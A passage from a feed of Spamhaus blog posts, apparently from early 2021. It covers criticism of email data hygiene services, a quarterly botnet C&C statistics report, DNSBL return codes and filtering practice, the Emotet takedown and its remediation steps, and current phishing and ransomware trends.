and other receivers have long treated dictionary attacks and SMTP verification as abusive. The original dictionary attacks revealed customer data and caused mail delivery failures for other senders. This type of traffic is routinely blocked, forcing many data hygiene companies to rotate IP addresses and domains to continue providing services. Customers of these companies typically are naive to the fact that they are not only participating in the abuse, but they are also paying to do so. The abuse continues As I write this, I can hear some readers saying, “Well, most of the data hygiene companies no longer use SMTP verification. They’ve moved away from that.” There’s truth in this statement. As a result of the blocks and filters ISPs have made, it is increasingly difficult for SMTP verification to work. I know of one large mailbox provider who re-engineered their system to thwart SMTP verification! As ISPs’ defenses improved, the data hygiene providers pivoted to a new way to verify addresses. This didn’t stop the abuse; it just changed the target. Now, instead of abusing ISP resources, the data hygiene companies are collecting data they shouldn’t have access to: Some data hygiene companies are paying Email Service Providers (ESPs) for customer bounce, open, and click data. Other data hygiene companies keep enormous consumer behavior databases (potentially violating various privacy laws, including GDPR.) At least one data hygiene company is run by a spammer who uses their database of harvested and spammed addresses to compare against their customer data. Many data hygiene companies abuse third-party resources for profit. The worst part is, all this abuse is happening without customers getting the service they are paying for. The fundamental flaw of data hygiene services One of the measurable metrics of good deliverability is a low bounce rate. The reason why senders with good deliverability have a low bounce rate is due to their initial data collection practices. They collect addresses from people who want to receive mail from them and build in email verification into their marketing processes, in addition to further data checks. Their mail is wanted, and users engage with it, and thus their mail has a good reputation. Data hygiene services assume deliverability is only the result of good metrics. If they can artificially manipulate a list into having a low bounce rate, then that list will perform as well as any carefully managed list. This is the fundamental flaw in many data hygiene services. They manipulate the statistics around a list without addressing any of the issues that make a list perform poorly in the first place. Remember, typos and errors happen on both sides of the @ sign. However, data hygiene companies can’t find mistakes that direct mail to an innocent third party. These third parties then report the email, which contributes to poor reputation. The sender is left confused and doesn't understand why; they consider their data to be 'clean,' having used one of these services. Dishonesty at the core of the business model Sadly, many data hygiene companies are not transparent about their product and its limitations. They've successfully convinced marketers that removing bounces via their service is the only way to maintain a list, and some senders are falling for it. Certain senders go back every few months to have a hygiene company clean their list. This is totally unnecessary. A list is clean if it is actively being mailed and bounced email addresses are removed. There's no reason to pay a third party for an inferior service. One of the most misleading claims by data hygiene companies I’ve witnessed is their ability to remove spam traps. Often their claims are exaggerated. Want some examples? A few years ago, a new hygiene company wanted me to endorse their product, and part of their pitch was their ability to remove spam traps. When pressed, they finally admitted they had only found approximately 100 different trap addresses. A client came to me to assist with a Spamhaus Blocklist (SBL) listing. I was their second stop; their first had been a data hygiene company. The client revealed that the hygiene company said they had more Spamhaus traps than any previous customer. Meanwhile, Spamhaus explained that they observed no difference in volumes between pre and post-cleaning. One hygiene company tells potential and current customers of their "close working relationship with Spamhaus" and discloses their ability to remove Spamhaus traps. Unfortunately, this is untrue. Spamhaus doesn’t share its trap feeds with any third parties. You can do data hygiene without expensive services None of this is to say data hygiene is terrible. In fact, it's a vital and necessary part of database maintenance. The good news is, most senders never need to pay a service to clean their lists. Senders who mail regularly to engaged contacts and remove bounces are doing better hygiene than any 3rd party. Any organization that uses an app or has a website with logins will have far more insight into their customers than any 3rd party. As previously mentioned, successful senders incorporate data checking and verification into their address collection process. In some cases, they use a data hygiene service to correct typos before the consumer hits submit. This checking can minimize mis-typed addresses before any email is sent. Confirmed opt-in is also an excellent way to ensure accurate data collection. The good news here is, consumers are used to confirming their email addresses for access to services. Billions of people have social media accounts and had to verify their address to access the full range of features. Conclusion Data hygiene is essential for good delivery. But data hygiene is more than just removing addresses that bounce. Senders need to focus less on hitting specific metrics. Metrics don’t make the email program, happy recipients do, and happy recipients start with the address collection process. Senders that focus on obtaining explicit permission and verify their recipients are providing accurate data will have more successful marketing programs. There is no need to pay for expensive third-party services to clean data because the initial data is already clean.

Botnet Threat Update Q1 2021

The Spamhaus Team — Thu, 15 Apr 2021 11:54:10 GMT

After a quiet(ish) end to 2020 in Spamhaus’ botnet world, the first quarter of this year kicked off in style. The major news surrounded the takedown of the Emotet botnet in January. Nonetheless, as one malware departs, others arrive on the scene, as proved by the 24% increase in the total number of botnet C&Cs Spamhaus researchers observed. Welcome to the Spamhaus Botnet Threat Update Q1 2021. Emotet is gone, but other threats are emerging In January 2021, an international coalition including authorities from various countries undertook a global action against the notorious Emotet botnet. Law enforcement agencies shut down infrastructure operated by the Emotet gang, sending Emotet botnet traffic to a sinkhole. The operation appears to have been a success, as the botnet has remained inactive for over two months. However, Spamhaus Malware Lab experts deem that it’s highly likely that Emotet will come back into circulation. Over the past few years, Emotet has flourished, earning itself the label of being one of the most dangerous online threats. Miscreants used it to gain an initial foothold in corporate networks, allowing them to move laterally within the victims’ network, which in many cases led to encryption with ransomware. Sadly, there’s no rest in the botnet world; no sooner is one botnet extinguished than it’s replaced. Rapidly, other botnet operators have rushed to fill the void that Emotet has left. Miscreants operating botnets like IcedID, Dridex, Quakbot, and TrickBot sent out large volumes of spam emails containing malicious documents this quarter. For most of these threats, the modus operandi is similar to that of Emotet’s, i.e., gain a foothold in corporate networks and encrypt them with ransomware. Number of botnet C&Cs observed, Q1 2021 First of all, let’s look at the number of newly observed botnet Command & Control servers (C&Cs) in Q1 2021. In total, Spamhaus Malware Labs has identified 1,660 new botnet C&Cs compared to 1,337 in Q4, 2020. This is a 24% increase, with an average of 553 botnet C&Cs per month. Number of new botnet C&Cs detected by Spamhaus since late 2020: | | | --- | | | Geolocation of botnet C&Cs, Q1 2021 In some countries, we have seen an increase of newly observed botnet C&Cs while other countries have dropped out of our Top 20. The United States holds onto #1 Despite a small 3% drop in the number of newly observed botnet C&Cs, the United States remains top of the leader board. Increases across Europe The Netherlands has overtaken Russia and finds itself in second position, with a total of 207 botnets, a 27% increase on Q4, 2020. Additional European countries have experienced increases in new botnet infrastructures, including Germany (+77%), France (+82%), Switzerland (+23%), and United Kingdom (+9%). Top 20 locations of botnet C&Cs | | | --- | | | | | Malware associated with botnet C&Cs, Q1 2021 Emotet: In Q1 2021, Emotet jumped to the top of this Top 20. This comes as no surprise, given our efforts in helping Law Enforcement agencies take down Emotet botnet infrastructure in January 2021. Raccoon: Raccoon is a credential stealer that is new in town. In Q1 2021, we identified 45 botnet C&Cs associated with this new malware. FickerStealer: Another credential stealer that has been observed for the first time in Q1 2021 is FickerStealer, with 25 new associated botnet C&Cs. QNodeService:We first saw this malware in 2020. However, it appears that QNodeService’s activity completely dropped away at the start of this year. To date, we have not observed a single C&C associated with it. Malware families associated with botnet C&Cs | | | --- | | | Most abused top-level domains, Q1 2021 For Q1 2021, the gTLD .com remains at the top of our rankings. A large majority of botnet C&C domains that Spamhaus Malware Labs identified were hosted on this TLD. However, we have seen many other listed TLDs improve their reputation with reductions across the board. .de: The ccTLD of Germany has once again entered the Top 20 at #19. Not good! Is this due to a weak anti-abuse policy at DENIC? .top & .xyz: These two gTLDs have a long history of abuse, and it’s not surprising that they continue to be in the Top 5, particularly when .top had a 90% increase in the number of botnet C&Cs it hosted in Q1 2021. Most abused TLDs - number of domains | | | --- | | | Most abused domain registrars, Q1 2021 Namecheap (again!) After years of being #1 in this Top 20, Namecheap (US) continues to be the preferred domain registrar for miscreants registering botnet C&C domains. When will this change? We don’t know. But given the long history of abuse at Namecheap, we don’t expect it to be any time soon! Eranet International & RegRU With a massive 249% increase, Eranet International (China) knocked NameSilo (United States) off its #2 spot. However, the most significant increase in the number of botnet C&C domain registrations belongs to RegRU (Russia), with a whopping 341% increase. Most abused domain registrars - number of domains | | | --- | | | | | Networks hosting the most newly observed botnet C&Cs, Q1 2021 For this quarter, we have seen an East/West split, with a reduction in the number of botnet C&Cs hosted at providers from the East, only to be swiftly replaced by cloud service providers in the West. Russian Virtual Private Server (VPS) providers Various companies like invs.ru and selectel.ru dropped out of the Top 20 this quarter. This is very positive news, particularly when it comes to selectel.ru, who have been present in the Top 20 list for a long time. Western VPS providers Various providers located in the West have entered the Top 20 chart in Q1 2021 including, google.com, choopa.com, hetzner.de, and combahton.net. The worst and the most improved The most abused network is privacyfirst.sh, a VPN provider operating out of Germany. Conversely, amazon.com has reduced the number of newly observed botnet C&Cs on its network by 44% over the past quarter. A positive step forward! Newly observed botnet C&Cs per network | | | --- | | | Networks hosting the most active botnet C&Cs, Q1 2021 Last but not least, let’s have a look at the networks that consistently hosted a large number of active botnet C&Cs. Sadly, Microsoft heads up this Top 20, with 48 active botnet C&Cs, followed by Google with 43 active botnet C&Cs. Networks appearing in this listing tend to have poor network hygiene and fail to act on abuse complaints – the absence of change between the past quarters indicates this fact. The botnets remain active for months! Total number of active botnet C&Cs per network | | | --- | | | Given the events regarding Emotet in Q1 2021, it will be very interesting to see what the next quarter will bring. See you next quarter. In the meantime, stay safe. Download the Spamhaus Botnet Report 2021 Q1 as PDF

Good-bye, Blocklist Removal Center. Hello, IP and Domain Reputation Checker.

The Spamhaus Team — Thu, 04 Mar 2021 12:43:24 GMT

We’ve been making changes to the Blocklist Removal Center (BRC). “Thank you,” we hear some of you say. For those not familiar with the BRC, it’s the online tool used to check if an IP or domain is listed on any of our DNS Blocklists (DNSBLs). When it was first released over a decade ago, it did its job; however, in 2021, we wanted to build a tool fit for today's audience that can be developed to deliver further insights. Here’s the first iteration on that journey – The IP and Domain Reputation Checker, . The vision This was, in part, driven by feedback from our users. The Checker has a broad audience from highly technical engineers to your Grandma, whose IP address has been listed due to a third-party proxy silently spewing out spam from her smartphone. The process needed simplifying and making approachable. Additionally, there was a requirement to step users through the removal process, provide the right information at the right time, and make what is potentially a stressful situation easier, with less friction. What’s changed? Here’s an outline of the main changes to the IP and Domain Reputation Checker: It’s mobile-friendly. You can easily search our data from a smartphone, tablet or desktop without any usability issues. One search field. IPv4 addresses, IPv6 addresses, domain names, email-addresses, and hash strings can all be searched from the same search field. Auto IP recognition. As mentioned, many users of the Checker are technical novices, so for ease of use, the user’s client IP address is automatically detected. If this IP address is listed on our reputation blocklists, the Checker will immediately advise them. For frequent users of the Checker, one can easily disable this feature. Helpful tooltips. Another aid for our technical novices is the inclusion of tooltips, providing additional information without affecting the user experience for those who know what they're doing. Listings in order of relevance. Some IP addresses may appear in several different blocklists. We now list these in the required removal order, as detailed below: Spamhaus Blocklist (SBL) As always, if your IP address is on the SBL, you need to contact your Internet Service Provider’s (ISP)abuse team to request them to contact Spamhaus for removal. You will not be able to remove your IP from any additional blocklists until your ISP has removed your IP from the SBL. Exploits Blocklist (XBL) and/or CSS Blocklist - in the new tool, if you are listed on both of these blocklists, one removal request simultaneously covers the XBL and CSS. Policy Blocklist - the Checker explains that inclusion on the PBL is normal, and delisting from this blocklist should only be requested if you run a mail server from the entered IP address. Clear listing and removal information. We are providing increased information as to why users are listed and what actions they need to take before they request removal from a blocklist, to prevent them from being re-listed. Regular users of the current tool may have noticed that we started to supply this information last year for CSS listings, and more recently, for XBL listings. Ticketing Center - Where we can't process a removal immediately, we will automatically raise a ticket with our delisting team. Our new Ticketing Center now manages all communications relating to tickets to make following a case more manageable. Re-design - We’ve updated the look and feel to meet the user experience expected in 2021. What’s next? The clue is the new name, IP and Domain Reputation Checker. As we release further iterations of this online tool, we hope to provide more intelligence relating to an IP or Domain’s reputation. In the meantime, we hope you find this new tool easier to use. Of course, we can’t guarantee this is perfect, but in the words of Confucius, “Better a diamond with a flaw than a pebble without.”

eBook | Getting the most from email filtering

The Spamhaus Team — Mon, 01 Mar 2021 10:55:21 GMT

All our DNS blocklist best practices wrapped into this eBook with a refresher on the source code of malicious emails and some DNSBL myth busting. Get it all in here.

Using our public mirrors? Check your return codes now

The Spamhaus Team — Thu, 11 Feb 2021 18:21:02 GMT

Back in late 2019, we advised of some new return codes for users of our public mirrors. We appreciate world events may have distracted you from this technical update. However, we will soon be implementing these codes and want to ensure these changes don’t cause you any serious operational issues. A reminder As of March 2021, we will begin the implementation of the following return codes: | Return code | Meaning | | --- | --- | | 127.255.255.252 | Typing error in DNSBL Name | | 127.255.255.254 | Query via public/open resolver/generic unattributable rDNS | | 127.255.255.255 | Excessive Number of Queries | Please note that none of these return codes relate to the reputation of the query – they are error codes. You need to check that no application uses these codes to reject email or for any other blocking or filtering of internet traffic. If you are not parsing these codes correctly, all query responses may be treated either as "LISTED" or "NOT LISTED." Both results are far from ideal, with a potentially disastrous outcome. To safeguard against this, check your Mail Transfer Agent (MTA) configuration now. Additionally, while each of these error codes relates to a different issue, fundamentally, they have a similar outcome, i.e., you are not successfully querying the DNSBL. Therefore your email stream isn’t protected. Why are these changes being implemented? Spamhaus runs the public mirrors to enable small independent businesses and non-profit organizations to filter their email safely at no cost. With a network of servers spread across the globe, this significant DNS infrastructure serves billions of queries to the public every day, for free. However, as with all free things, it is open to abuse. Therefore, to protect the service for those whom it is intended, we are introducing these changes. The return codes explained 127.255.255.252 | Typing error in DNSBL Name This indicates that there is an error in the DNSBL name that is detailed in the code. Take, for example, 1.1.168.192.xen.spamhaus.org instead of 1.1.168.192.zen.spamhaus.org. Why is a typo an issue? Where you input incorrect DNSBL names, you won't be querying the relevant blocklist and will return no reputation data. What to do if you receive this code? Go back and review your configuration and check that all the DNSBL names are accurately entered. 127.255.255.254 | Query via public/open resolver/generic rDNS If this code is returned, it indicates that you are making the DNSBL query via a public/open resolver or an IP address with generic, unattributable reverse DNS. Therefore the query is blocked, and it will return no reputation data. Why is querying via a public/open resolver an issue? When you query the free public mirrors via a public or open resolver or an IP address with generic, unattributable reverse DNS, we can’t determine the volume of queries you are making. As a result, we don’t allow our DNSBLs to be queried via these means. What to do if you receive this code? First and foremost - confirm that this code is not being used to reject email or for any other blocking or filtering of any internet traffic by any application. Here is information on how to correctly configure commonly used MTAs for use with our public mirrors. If you want to continue using a public resolver, we suggest utilizing the free Data Query Service (DQS), managed by Spamhaus Technology. This service provides you with faster updates and requires minimal configuration changes. Here are further details on MTA configurations for the DQS. To continue using the free Public Mirrors, you can query from a dedicated IP that has proper reverse and forward DNS to perform your queries. 127.255.255.255 | Excessive Number of Queries This return code indicates that you made the DNSBL query via a DNS resolver that isn't conforming with our usage terms, i.e., is making an excessive number of queries. Consequently, the query is blocked, and it will return no reputation data. Why are excessive query numbers an issue? As we've already touched on, this free service is for non-commercial use. We limit the number of queries made to the free public mirrors to secure high service levels for all its intended users. What to do if you repeatedly receive this code? As with the previous return code, you need to ensure that it is not being used to reject email or for any other blocking or filtering of any internet traffic by any application. Your needs (and query volumes) are commercial; therefore, we recommend trying the Data Query Service (DQS) managed by Spamhaus Technology, which distributes the data. Next steps We urge you to review your configuration. Confirm that any software querying the public mirrors can distinguish between the error codes detailed above and the valid reputational codes provided for our lists. By taking this action you should avoid any potential issues with your MTA rejecting all (or none) of your email as spam. Check your logs regularly. Should you receive any of these error codes, please take the necessary action to rectify the issue and make sure that our IP and domain reputation data continues to protect your emails. That’s all for now. Happy filtering!

Emotet is disrupted, but the malware it installed lives on

The Spamhaus Team — Fri, 29 Jan 2021 12:27:00 GMT

The successful takedown of the Emotet C2 infrastructure announced January 27th 2021 is no small accomplishment, both from a technical point of view and for the larger safety and security of the internet as a whole. However, Emotet often drops other malware which can still work even though Emotet no longer does. For those infected with Emotet, a significant challenge remains. What was Emotet? Emotet was one of the most dangerous, destructive, and prolific variations of malware active on the internet recently. Over time it became a monetized platform for threat actors to run malicious campaigns on a pay-per-install (PPI) model, allowing theft of sensitive data and ransom extortion. To give you an idea of its scope, the number of Microsoft Windows computers currently compromised by Emotet is estimated to be over one million. Emotet began its career in 2014 as a banking trojan and evolved over the years into a "malware as a service" infrastructure that gave access to exploited networks to anyone that could pay the asking price. On consumer PCs, Emotet acted as an information and password stealer. It also contained a spam module that allowed Emotet to spread laterally using email as a vector, using malicious links or attachments. It was sending tens of thousands of malware-laden emails every day through accounts it had previously compromised, posing as account detail alerts, information about Covid, shipping notifications and other themes designed to invoke user interaction. One important strategy was using email thread hijacking: inserting poisoned emails into existing conversations to fool the recipients into opening the bait. On corporate networks that are part of a Windows domain, Emotet performed reconnaissance and then acted as a dropper) for additional malware on the victim's machines. Once the threat actors gathered enough information and gained access to high-privileged accounts (such as domain administrator accounts), the attackers encrypted corporate networks using ransomware. Their targets included - among others - private individuals, companies, government institutions, and healthcare providers, including hospitals: a significant percentage of the malware affecting computer networks in the healthcare industry are trojans. The most common of them is Emotet. Emotet is distrupted, but the malware it installed lives on. Emotet could be seen as a springboard to deliver other malware families. The ultimate goal of these is often to steal financial data in the broadest sense of the word and encrypt corporate networks. The latter often causes complete work stoppage, while enabling criminals to extort ransom from the network owners to regain control. If an Emotet infection is present, it is safe to assume that one or more computers are infected with at least one - and probably several - of these malicious programs as the following chart illustrates perfectly: Emotet infection ecosystem (graph via @pollo290987) Emotet infections often lead to further malware being deployed. Graph via @pollo290987 The most common malware families deployed through Emotet are:* IcedID: A banking trojan that injects itself into browsers, intercepting communications with banks, e-commerce and payment card providers. Ursnif: Steals password and credentials, banking and financial information. Dridex: Yet another malware family specialized in stealing banking credentials and other passwords. Machines infected with Dridex may be infected with Bitpaymer ransomware later. Qbot: primarily a banking trojan and password stealer. Qbot infections have been known to deliver Megacortex, another variation of the ransomware family. TrickBot: A trojan that attempts to steal customer access credentials for their bank accounts, which is usually paired with Ryuk: An encryption trojan - also known as ransomware. It encrypts data and locks out the legitimate owners. This is then used to extort the owners to regain access, often for significant amounts of money. Found Emotet? Keep looking for more It is crtitical to not get complacent as a result of the Emotet takedown - the dropped malware from it is still present, and is capable of causing extensive damage once exploited by other threat actors. In short: All computers and servers should be thoroughly scanned with an up to date anti-virus/malware. All administration, user, FTP & CMS passwords should be changed. Logging should be enabled and regularly analyzed for anomalous traffic. End user education about opening attachments and links is always a good idea. What does Spamhaus do? Spamhaus is actively helping remediate existing Emotet malware distribution sites that are still out there. We also notify end users, networks and national CERTs (through our CERT portal) about Emotet infections within their constituency. Stay alert, stay safe! Sadly, the next advancement of malware is usually just around the corner.

Emotet infrastructure disrupted after coordinated action

The Spamhaus Team — Fri, 29 Jan 2021 09:49:36 GMT

On Tuesday, Jan 27, 2021, Europol announced that a coordinated group of international authorities has taken control of the Emotet infrastructure. We congratulate the authorities in the Netherlands, Germany, the United States, the United Kingdom, France, Lithuania, Canada, and Ukraine, who collaborated to disrupt this malicious infrastructure's activity and protect the vulnerable. This level of coordination is no mean feat and illustrates what significant change can be brought about when the internet community pulls together. As part of this effort, Spamhaus is providing remediation data directly to end-users, networks, and national CERTs to assist in the mitigation of this threat. Steps that can be taken to address an Emotet infection Reminder: Even if Emotet is disabled the malware it dropped can remain active! Read more in our companion article Emotet is disrupted, but the malware it installed lives on. INDIVIDUAL USERS: Ensure that the affected computers are running up-to-date antivirus, and perform a full system scan and change all passwords, including: Computer account administration passwords Email passwords Webmasters: change FTP and CMS credentials CORPORATE NETWORKS: Emotet will deploy ransomware, which encrypts any corporate data. In most cases, this prevents the organization from operating normally and performing its daily business. If notified that an Emotet infection is present, it is safe to assume that one or more computers are infected. Any client or server running a Microsoft Windows OS must have an up-to-date antivirus installed, and a full system scan should be performed. Logging on firewalls and web-gateways (e.g., web proxies) should be enabled, and administrators should be on the look-out for indicators of compromise (IOC) connected to Emotet. Passwords of all the affected users and any domain administrator or service accounts should be changed. CHECK AN EMAIL ADDRESS: The Dutch National High Tech Crime Unit has supplied a tool that can be used to see if an email address and its account credentials has been compromised. The data contains e-mail addresses, usernames, and passwords that are in possession of cybercriminals. We really encourage everyone to see if their email was present when the data was seized and to act with speed if it is found to be compromised! The page is in Dutch and English. CHECK AN IP ADDRESS: As part of this operation, data is being shared with Spamhaus to remediate Emotet infections. To check if your IP address has been observed talking to Emotet infrastructure go to the Blocklist Removal Center and search for your IP address. This takedown has showed what remarkable results can be achieved with cooperation of public and private sectors. Once again, we want to iterate what a fantastic effort this has been. Press releases & announcements Europol: World’s most dangerous malware EMOTET disrupted through global action German Bundeskriminalamt: Infrastruktur der Emotet-Schadsoftware zerschlagen Dutch National Police: Internationale politieoperatie LadyBird: wereldwijd botnet Emotet ontmanteld United Kingdom National Crime Agency: NCA in international takedown of notorious malware Emotet United States Department of Justice: Emotet Botnet Disrupted in International Cyber Operation Ukraine National Police: Кіберполіція викрила транснаціональне угруповання хакерів у розповсюдженні найнебезпечнішого в світі комп’ютерного вірусу «EMOTET»

BEST PRACTICE | DNSBLs and email filtering - how to get it right

The Spamhaus Team — Wed, 27 Jan 2021 18:49:47 GMT

Domain Name System Blocklists (DNSBLs) are a low-cost and effective way of stopping the torrent of inbound email traffic associated with spam and other malicious emails. There are multiple benefits to using blocklists, reducing infrastructure costs, and workforce hours to increasing catch rates. However, to get the most from DNSBLs, it’s vital to use them at the right points in your email filtering process. Efficient and effective filtering There’s a wide range of email security options for your infrastructure, from content filtering and scanning to network-based tools that use distributed and collaborative methods. Unfortunately, the majority of the above are resource-heavy and expensive. The key to email filtering is to remove the bulk of unwanted emails right at the beginning of the process before they reach the resource-intensive content inspection stage. A DNSBL check is the simplest, quickest, and most economical method you have at your disposal….so why not use it? Stages to utilize DNSBLs When you accept and process an email, there are three areas that you should use blocklists: At the initial connection – against the connecting IP. Throughout the pre-data phase of an email, i.e., the SMTP transaction Once the email data has been accepted i.e., during content inspection Benefits of using DNSBLs before content filtering Saves on bandwidth** – you significantly reduce the number of messages that require downloading. Saves on open connections –** many connections are not needlessly held open. Saves on storage activity* *–** rejection before content filtering doesn’t use any storage resources (with the exception of a few logging lines). General reduction in memory, **storage, and CPU requirements – you have a far lower volume of emails that require expensive content scanning. 1. Using DNS blocklists at the initial email connection At the very beginning of an email transaction, a remote server attempts to initiate a connection with your server. At this point, a quick lookup (query) to a blocklist can instantly (well, almost instantly) advise if the connecting IP address is associated with malicious behavior or not. If the IP address is listed, you can choose to drop the connection immediately. Remember, this query is undertaken even before the Simple Mail Transfer Protocol (SMTP) handshake occurs. What blocklists to use: Spamhaus Blocklist (SBL) eXploits Blocklist (XBL) Policy Blocklist (PBL) 2. Using DNS blocklists during the pre-data phase What is the pre-data phase? For all email commands that occur after the initial email connection set-up (as detailed above) and before the DATA command during the SMTP connection, we term as the pre-data phase. Check the reverse DNS of the connecting IP Once the connection is open, you (the receiver) should do a reverse DNS lookup of the connecting IP address. Does the result of the rDNS check match the HELO string? The result of the above lookup should be queried against the domain contained in the HELO from the sender, e.g. (HELO mta-out.someisp.example). If they do not match, the connection should be dropped immediately. This is an indication that the sender isn’t who they say they are e.g. spoofing. Query the result of the rDNS against blocklists The domain returned should be queried against the DBL and the ZRD. Query the domain contained in the HELO against blocklists The domain contained in the HELO should be queried against the DBL and the ZRD, alongside running a forward DNS lookup against the SBL. Query the MAIL FROM (Return-path) domain Subsequent to the HELO, during the SMTP connection, is the MAIL FROM command. This is often referred to as the “Envelope-from” or the “Return-path.” You should query the domain included in this string, e.g., Whenever a query is made against the DBL and ZRD and a positive response is returned, receivers can reject the email or tag it for further inspection during the content filtering process. The transfer of the email header and content Once the RCPT TO command has been completed, the DATA command follows, and it is this that initiates the transfer of data, both the email header and content. After the receiver confirms this has been successfully executed, the sender transmits a QUIT command, either before or after content inspection, and the connection is closed. Is the connection kept open at content inspection? This comes down to both your implementation decisions and software choices. As with all options there are pros and cons for both: Some implementations choose to keep the connection open, until they have the result of the content inspection. Pros: Senders will always be notified of a rejection, which is the best strategy should false positives occur. Cons: This is resource heavy and your MTA must be up to the task, even during peaks. Where resources are not sufficient delays may occur. The majority of implementations close the connection before content inspection. Pros: Lowers costs due to lower resource requirements. Cons: Where false positives have occurred, the sender will not be notified. A deeper dive into the benefits of using DNSBLs before content filtering Reducing the load placed on your resources As previously mentioned, content filtering and scanning are resource heavy. Reducing the number of emails that reach this point of the email filtering process saves on memory, reduces processing power and reduces latency. Infrastructure protection against spam campaigns Consider a situation where you receive hundreds of messages per second during a sustained or escalating spam campaign. If you are reliant on content filtering or scanning to mitigate the attack, your email infrastructure has the potential to collapse under the load put on it by the sheer volume of inbound emails. If you’re lucky enough for this not to happen, you will still incur high costs, as every email needs to be downloaded and scanned. Senders can debug mail relay issues When an email is rejected at the initial connection or SMTP handshake, a Delivery Status Notification (DSN) is returned in real-time to the sender, advising them of the failed delivery. From a sender’s perspective, this can help with identifying and resolving mail relay problems. Emails aren’t left to linger in junk folders As a result of emails being rejected early on in the email transaction, potentially spammy emails aren’t downloaded and left, forgotten in a junk folder. This stops end-users from hunting through their junk folder to find one legitimate email out of hundreds, if not thousands of spam ones. Innocent 3rd party infrastructures aren’t flooded with return messages If the sender address is forged, the innocent third party whose email was used in the forged sender address will be flooded with return messages. Increased protection from hailstorm and snowshoe spam campaigns Using domain blocklists as well as IP blocklists provides you with extra protection against hailstorm and snowshoe spam, in addition to other threats. For a deeper understanding of this subject matter, we suggest you read MTA developers: allow use of domain DNSBLs at the SMTP level. It’s worth remembering that our domain blocklist will contain many domains before they’re seen in the wild! 3. Using DNS blocklists during the post-data phase Once the DATA command has run and the email header and content have transmitted to the receiver, content inspection commences, alongside running SPF, DKIM, and DMARC checks. Email headers contain structured data making them far less resource-intensive to parse compared to that of the body of an email. To get a deeper understanding of an email header and body components, read Understanding the source code of a malicious email. Here’s where blocklists can be used during the header inspection: Query the originating IP address: This is the IP address contained within the original transaction’s received chain, i.e., what initially generated the email. This lookup can be done against the SBL and AUTH BL. An rDNS lookup can also be done against the DBL & ZRD. Query the Reply-to address: The full email address in this field should be queried against the Hash Blocklist (HBL), which contains cryptographic hashes of email addresses. Query the Sender-address: Commonly referred to as the “Friendly From” address, it should be queried against the HBL, and the domain contained in it should be queried against the DBL & ZRD, with a forward DNS lookup against the SBL. Finally, we’re onto the inspection of the content (scroll up to think of all the opportunities you have had to reject email before it reaches this more expensive part of the email filtering process!) Domains that are included in the email body Website URLs or emails in the body content should all be queried against the DBL, ZRD, with a forward DNS lookup against the SBL. Emails contained within the email body can also be queried against the HBL. Bitcoin addresses that are included in the email body Query these against the HBL, which has a cryptowallet section containing hashes of bitcoin and other cryptocurrency addresses. Email attachments All attachments should be queried against the HBL, which lists malware files, in addition to email addresses and cryptocurrency addresses. How to implement all of this? Sadly, with so many variances it’s not possible to cover all the specific operational details for different mail systems. Where some of our checks can’t be implemented, we recommend reaching out to the support desk of the product you are using. The good news is that we do have two plugins for opensource filters, SpamAssassin and Rspamd, for both pre-data (SMTP) filtering and content analysis. Also here’s the full outline of what blocklists to apply where. If you’d like to trial DNS Blocklists and run your own email server – then sign up to access the data free for 30 days. We’d love to hear how you get on.

Some attack vectors Spamhaus is observing in early 2021

The Spamhaus Team — Wed, 27 Jan 2021 10:16:52 GMT

As we gallop apace into 2021, our researchers often get asked what the current trends and themes are they're seeing. Compromised legitimate websites Legitimate websites continue to be compromised in substantial numbers. We are still regularly seeing thousands and thousands of hacked WordPress sites. Once a cybercriminal has a website in their grubby hands, there are multiple ways (all bad) they will potentially use it. These can include; web shells, malware hosting, sending spam, hosting phishing websites, or redirector hosting. Often one website is used for several of these purposes! As in most cases, prevention is better than cure, so we urge website owners to ensure they cover the basics: Ensure everyone who uses the website content management system (CMS), e.g., WordPress, uses log-in best practices, including 2-factor authentication. Always update to the latest version. These updates generally contain essential security patches; failure to update will leave your CMS open to abuse. Choose third party plugins carefully, and make sure they are also kept updated. Residential proxies This ongoing issue shows no sign of abating any time soon. Certain applications (most if not all from unofficial marketplaces) are downloaded to predominantly Android-based devices, including phones, tablets, digital media players, and streaming dongles. As the saying goes, “There’s no such thing as a free lunch.” This is certainly true in this instance, as these applications which claim to be free are monetized via third party code. As you can imagine, this detail is buried deep within the application’s terms and conditions. The third party code allows miscreants to use the said device as a conduit for their nefarious actions. These proxies are hard to find and hard to remove for the average victim. They open up many, many different abuse vectors. Spam is just one of them, but these are also used in large numbers for account creation, account takeover, stolen browser identities, and click/ad fraud. Phish du jour There is still a significant amount of phishing activity that leverages the news-of-the-day. After last year’s rush of covid related activity (see chart 1), we are now witnessing “vaccin" being used as the lure to interact (see chart 2). Given the current state of the pandemic, this is obviously a powerful social engineering trick. We predict the use of “vaccination/vaccine” will escalate over the coming months. You only have to look at Chart #2 to see the upward trend over the past few months. Chart 1: Domain registrations containing the word corona Chart 2: Domain registrations containing the word vaccin Phishing with a different rod More sophisticated bad actors will choose domains that are marginally different. You can already see this in some more traditional phishing campaigns that target the financial sector; instead of using domain names that include the phished brand's name, they use more generic or technical sounding domains. These will often not get picked up by brand protection specialists. Additionally, it provides miscreants with the benefit of having a dedicated domain allowing the correct set-up of authentication, including SPF, DKIM, and DMARC, providing improved email deliverability. Ransomware is still a lucrative business When discussing ransomware, people usually think about poorly written emails sent en-masse by botnets. However, miscreants are becoming increasingly savvy in their approach. While entry methods vary, we see far too many cases than necessary where compromise starts with an existing corporate account. For instance, the same password to the said account has been used across multiple website log-ins. One of these websites is compromised, and the log-in details are harvested before being made available on the dark web. In addition to the above, we also see (semi) targeted phishing campaigns where cybercriminals carefully investigate their victims for weeks or months. Mechanisms for this kind of abuse often impersonate well-known business applications such as DocuSign or some of the file transfer services like Dropbox. This story's moral is don’t reuse the same password across accounts and ensure log-in protocols are as secure as possible to prevent cybercriminals from impersonating the legitimate owner of the corporate account and always check the origination of documents. Keep safe and secure We hope you enjoyed our quick tour of current trends - we’ll keep you updated as 2021 progresses. Stay safe!

Update for Composite Blocklist (CBL) Users

The Spamhaus Team — Fri, 18 Dec 2020 15:25:46 GMT

